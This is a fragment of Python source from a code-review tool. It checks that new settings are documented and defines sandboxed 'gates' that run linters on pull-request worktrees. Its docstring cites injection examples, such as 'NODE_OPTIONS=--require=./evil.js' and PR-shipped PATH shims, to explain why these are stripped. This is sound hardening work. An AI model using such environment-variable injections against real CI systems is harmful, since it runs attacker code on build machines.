# they are the repo-agnostic interface for non-PDD projects. The legacy PDD
# checks below remain as PDD's built-in default contract.
errors = _run_configured_doc_contract_rules(
worktree,
base_spec,
trusted_git,
git_env,
added_lines_by_file,
)
for key in added_pddrc_keys:
if f"`{key}`" not in pddrc_section and key not in pddrc_section:
errors.append(
f".pddrc key '{key}' is not documented in README.md under 'Available Context Settings' section."
)
for opt in added_click_options:
if opt not in readme_content:
errors.append(f"Click option '{opt}' is not documented in README.md.")
for op in added_skip_behaviors:
if op not in readme_content:
errors.append(
f"Skip behavior / sync step '{op}' is not documented in README.md."
)
if op not in prompt_ops_section:
errors.append(
f"Sync step '{op}' is not documented in pdd/prompts/sync_orchestration_python.prompt under 'Workflow Operations' section."
)
# A new skip CONDITION on an existing operation must be documented as part
# of THAT operation's own contract (not merely anywhere in the file) in BOTH
# README and the sync orchestration prompt. This is the #1303/#1238 drift
# (review round 2): adding `operation == 'fix' and skip_tests` while the docs
# only tie `--skip-tests` to the `test` step — leaving `fix` documented as an
# unconditional "Resolve test failures" — must fail the gate.
for op, cond in added_skip_contracts:
tokens = ", ".join(_condition_doc_tokens(cond))
if not _operation_documents_condition(readme_content, op, cond):
errors.append(
f"Skip condition '{cond}' gating operation '{op}' is not documented in "
f"README.md within the '{op}' operation's own entry "
f"(tie '{op}' to one of: {tokens})."
)
if not _operation_documents_condition(prompt_content, op, cond):
errors.append(
f"Skip condition '{cond}' gating operation '{op}' is not documented in "
f"pdd/prompts/sync_orchestration_python.prompt within the '{op}' "
f"operation's own entry (tie '{op}' to one of: {tokens})."
)
for env in added_env_vars:
if env in {"PDD_DIR", "PDD_PHASE"}:
continue
if f"`{env}`" not in env_section and env not in env_section:
errors.append(
f"Environment variable '{env}' is not documented in README.md under 'Environment Variables' section."
)
if errors:
for err in errors:
print(f"Doc Contract Failure: {err}", file=sys.stderr)
return 1
print("Doc Contract Check: Passed.", file=sys.stdout)
return 0
__all__ = [
"DEFAULT_GATE_TIMEOUT_SECONDS",
"Gate",
"GateResult",
"discover_gates",
"gate_results_to_findings",
"run_doc_contract_check",
"run_gates",
]
"""Deterministic gates for ``pdd checkup --pr --review-loop``.
The review loop's LLM reviewer (codex/claude/gemini) can declare a PR
"clean" while a fast, deterministic local check still fails on the
worktree (e.g. ``prettier --check`` finds unformatted files). This
module discovers a conservative, allowlisted set of repo-local gates,
runs each as a bounded list-form subprocess, and converts failures into
synthetic blocker ``ReviewFinding`` entries that the review loop must
treat exactly like reviewer findings: refuse the clean verdict, feed
them to the fixer, and re-run gates on the next round.
Trust-boundary invariants:
* All commands are list-form. ``shell=True`` is never used.
* Discovery is allowlist-only. Anything not explicitly recognized is
skipped, not best-effort guessed.
* The runner never raises. ``subprocess.run`` errors are captured as
``GateResult`` rows with ``exit_code=None`` and a non-empty ``error``.
* All stdout/stderr is truncated to roughly 10KB each side and scrubbed
via ``pdd.checkup_review_loop._scrub_secrets`` before persistence or
rendering.
* Environment is scrubbed: ``CI=1``, ``NO_COLOR=1``, ``FORCE_COLOR=0``,
``COREPACK_ENABLE_AUTO_PIN=0`` are injected; ``PDD_*`` mutating envs
are stripped so a gate cannot inherit reviewer/fixer state. The
Python import-path family
(``PYTHONPATH``/``PYTHONHOME``/``PYTHONSTARTUP``/``PYTHONUSERBASE``/
``PYTHONNOUSERSITE``) is also stripped (iter-38 Finding 3). The
Node/npm import-path and config family
(``NPM_CONFIG_*``/``npm_config_*``/``NODE_OPTIONS``/``NODE_PATH``) is
stripped too: ``NPM_CONFIG_SCRIPT_SHELL`` would otherwise redirect
``npm run`` to a PR-controlled shell binary even on a clean
``.npmrc``, ``NODE_OPTIONS=--require=./evil.js`` would inject
arbitrary JS into the ``npx --no-install tsc`` gate, and ``NODE_PATH``
is Node's ``PYTHONPATH`` analogue (iter-39 Finding 3).
``COREPACK_ENABLE_AUTO_PIN=0`` keeps Corepack-managed yarn/pnpm from
mutating ``package.json`` (auto-pinning a ``packageManager`` field
on first run) inside the loop-owned worktree (iter-39 Finding 1).
* PATH is sanitized: empty entries, ``.``, relative entries, and any
entry that resolves inside the worktree are stripped before the
gate runs and before any tool-resolution (``shutil.which``) call
inside discovery. An operator with ``PATH=.:$PATH`` (or a PATH
entry that points at the loop's worktree) would otherwise let a
PR-shipped ``./git`` / ``./mypy`` / ``./npm`` / ``./npx`` shim become
the gate binary (iter-40 Finding 1). Tool argv stored on ``Gate.cmd`` is
ALWAYS the absolute path returned by ``shutil.which`` against the
sanitized PATH, never the bare tool name, so ``subprocess.run``
cannot re-consult PATH at execution time.
* The runner's ``cwd`` is always the loop-owned PR worktree.
"""
from __future__ import annotations
import ast
import datetime as _dt
import fnmatch
import json
import logging
import os
import re
import shlex
import shutil
import subprocess
import sys
import time
from dataclasses import dataclass
from pathlib import Path
from typing import Any, Dict, List, Optional, Sequence, Set, Tuple
logger = logging.getLogger(__name__)
# Approximate per-stream excerpt cap. Bounded to keep prompt injection
# tractable and to keep persisted artifacts small. We leave a generous
# margin over the literal byte count so a small "[truncated]" marker
# fits without violating the integration-side budget contract.
_EXCERPT_LIMIT = 10_000
# Per-gate default timeout in seconds. The runner enforces this even
# when ``Gate.timeout`` is left at the dataclass default so a discovery
# bug cannot wedge the review loop.
DEFAULT_GATE_TIMEOUT_SECONDS: float = 60.0
# ---------------------------------------------------------------------------
# Dataclasses
# ---------------------------------------------------------------------------
class Gate:
"""A single discovered deterministic gate.
The ``cmd`` field is the literal list-form argv. The runner
``run_gates`` is responsible for spawning the subprocess; this
dataclass is data only.
"""
name: str
cmd: List[str]
source: str
severity: str = "blocker"
Xet Storage Details
- Size:
- 169 kB
- Xet hash:
- d08bb61ecd7ad173799ba918ecc6d446171ffe557658ca6d13616ebfe1dda48c
·
Xet efficiently stores files, intelligently splitting them into unique chunks and accelerating uploads and downloads. More info.